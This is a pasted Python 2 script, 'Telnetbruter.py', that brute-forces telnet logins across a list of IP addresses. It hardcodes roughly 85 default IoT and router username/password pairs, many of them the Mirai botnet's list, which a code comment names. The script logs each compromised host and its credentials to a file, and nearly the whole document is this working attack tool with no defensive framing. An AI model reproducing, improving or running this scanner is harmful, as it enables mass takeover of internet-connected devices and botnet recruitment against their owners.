PYTHON 34
Telnetbruter.py Guest on 4th September 2020 01:10:38 PM
  1. import threading
  2. import sys, os, re, time, socket
  3. from Queue import *
  4. from sys import stdout
  5.  
  6. if len(sys.argv) < 4:
  7.     print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
  8.     sys.exit()
  9.  
  10. combo = [
  11.   "AdmiN:AdmiN",
  12.   "root:xc3511",
  13.     "root:vizxv",
  14.     "root:admin",
  15.     "admin:admin",
  16.     "root:888888",
  17.     "root:xmhdipc",
  18.     "root:default",
  19.     "root:juantech",
  20.     "root:123456",
  21.     "root:54321",
  22.     "support:support",
  23.     "root:",
  24.     "admin:password",
  25.     "root:root",
  26.     "root:12345",
  27.     "user:user",
  28.     "admin:",
  29.     "root:pass",
  30.     "admin:admin1234",
  31.     "root:1111",
  32.     "admin:smcadmin",
  33.     "admin:1111",
  34.     "root:666666",
  35.     "root:password",
  36.     "root:1234",
  37.     "root:klv123",
  38.     "Administrator:admin",
  39.     "service:service",
  40.     "supervisor:supervisor",
  41.     "guest:guest",
  42.     "guest:12345",
  43.     "admin1:password",
  44.     "administrator:1234",
  45.     "666666:666666",
  46.     "888888:888888",
  47.     "ubnt:ubnt",
  48.     "Root:Root",
  49.     "acess:acess",
  50.     "root:klv1234",
  51.     "root:Zte521",
  52.     "root:hi3518",
  53.     "root:jvbzd",
  54.     "root:anko",
  55.     "root:zlxx.",
  56.     "root:7ujMko0vizxv",
  57.     "root:7ujMko0admin",
  58.     "root:system",
  59.     "root:ikwb",
  60.     "root:dreambox",
  61.     "root:user",
  62.     "root:realtek",
  63.     "root:00000000",
  64.     "admin:1111111",
  65.     "admin:1234",
  66.     "admin:12345",
  67.     "admin:54321",
  68.     "admin:123456",
  69.     "admin:7ujMko0admin",
  70.     "admin:pass",
  71.     "admin:meinsm",
  72.     "tech:tech",
  73.     "mother:fucker",
  74.     "default:",
  75.     "admin:ADMIN",
  76.     "root:1234567",
  77.     "supervisor:zyad1234",
  78.     "daemon:",
  79.     "adm:",
  80.     "default:default",
  81.     "root:696969",
  82.     "Alphanetworks:wrgg19_c_dlwbr_dir300",
  83.     "Alphanetworks:wrgn49_dlob_dir600b",
  84.     "Alphanetworks:wrgn23_dlwbr_dir600b",
  85.     "Alphanetworks:wrgn22_dlwbr_dir615",
  86.     "Alphanetworks:wrgnd08_dlob_dir815",
  87.     "Alphanetworks:wrgg15_di524",
  88.     "Alphanetworks:wrgn39_dlob.hans_dir645",
  89.     "Alphanetworks:wapnd03cm_dkbs_dap2555",
  90.     "Alphanetworks:wapnd04cm_dkbs_dap3525",
  91.     "Alphanetworks:wapnd15_dlob_dap1522b",
  92.     "Alphanetworks:wrgac01_dlob.hans_dir865",
  93.     "Alphanetworks:wrgn23_dlwbr_dir300b",
  94.     "Alphanetworks:wrgn28_dlob_dir412",
  95.     "Alphanetworks:wrgn39_dlob.hans_dir645_V1"
  96. ]
  97.  
  98. ips = open(sys.argv[1], "r").readlines()
  99. threads = int(sys.argv[2])
  100. output_file = sys.argv[3]
  101. queue = Queue()
  102. queue_count = 0
  103.  
  104. for ip in ips:
  105.     queue_count += 1
  106.     stdout.write("\r[%d] Added to queue" % queue_count)
  107.     stdout.flush()
  108.     queue.put(ip)
  109. print "\n"
  110.  
  111.  
  112. class router(threading.Thread):
  113.     def __init__ (self, ip):
  114.         threading.Thread.__init__(self)
  115.         self.ip = str(ip).rstrip('\n')
  116.     def run(self):
  117.         username = ""
  118.         password = ""
  119.         for passwd in combo:
  120.             if ":n/a" in passwd:
  121.                 password=""
  122.             else:
  123.                 password=passwd.split(":")[1]
  124.             if "n/a:" in passwd:
  125.                 username=""
  126.             else:
  127.                 username=passwd.split(":")[0]
  128.             try:
  129.                 tn = socket.socket()
  130.                 tn.settimeout(8)
  131.                 tn.connect((self.ip,23))
  132.             except Exception:
  133.                 tn.close()
  134.                 break
  135.             try:
  136.                 hoho = ''
  137.                 hoho += readUntil(tn, "ogin:")
  138.                 if "ogin" in hoho:
  139.                     tn.send(username + "\n")
  140.                     time.sleep(0.09)
  141.             except Exception:
  142.                 tn.close()
  143.             try:
  144.                 hoho = ''
  145.                 hoho += readUntil(tn, "assword:")
  146.                 if "assword" in hoho:
  147.                     tn.send(password + "\n")
  148.                     time.sleep(0.8)
  149.                 else:
  150.                     pass
  151.             except Exception:
  152.                 tn.close()
  153.             try:
  154.                 prompt = ''
  155.                 prompt += tn.recv(40960)
  156.                 if ">" in prompt and "ONT" not in prompt:
  157.                     success = True
  158.                 elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  159.                     success = True            
  160.                 else:
  161.                     tn.close()
  162.                 if success == True:
  163.                     try:
  164.                         os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
  165.                         print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  166.                         tn.close()
  167.                         break
  168.                     except:
  169.                         tn.close()
  170.                 else:
  171.                     tn.close()
  172.             except Exception:
  173.                 tn.close()
  174.  
  175. def readUntil(tn, string, timeout=8):
  176.     buf = ''
  177.     start_time = time.time()
  178.     while time.time() - start_time < timeout:
  179.         buf += tn.recv(1024)
  180.         time.sleep(0.01)
  181.         if string in buf: return buf
  182.     raise Exception('TIMEOUT!')
  183.  
  184. def worker():
  185.     try:
  186.         while True:
  187.             try:
  188.                 IP = queue.get()
  189.                 thread = router(IP)
  190.                 thread.start()
  191.                 queue.task_done()
  192.                 time.sleep(0.02)
  193.             except:
  194.                 pass
  195.     except:
  196.         pass
  197.  
  198. for l in xrange(threads):
  199.     try:
  200.         t = threading.Thread(target=worker)
  201.         t.start()
  202.     except:
  203.         pass

Paste is for source code and general debugging text.

Login or Register to edit, delete and keep track of your pastes and more.

Raw Paste

Login or Register to edit or fork this paste. It's free.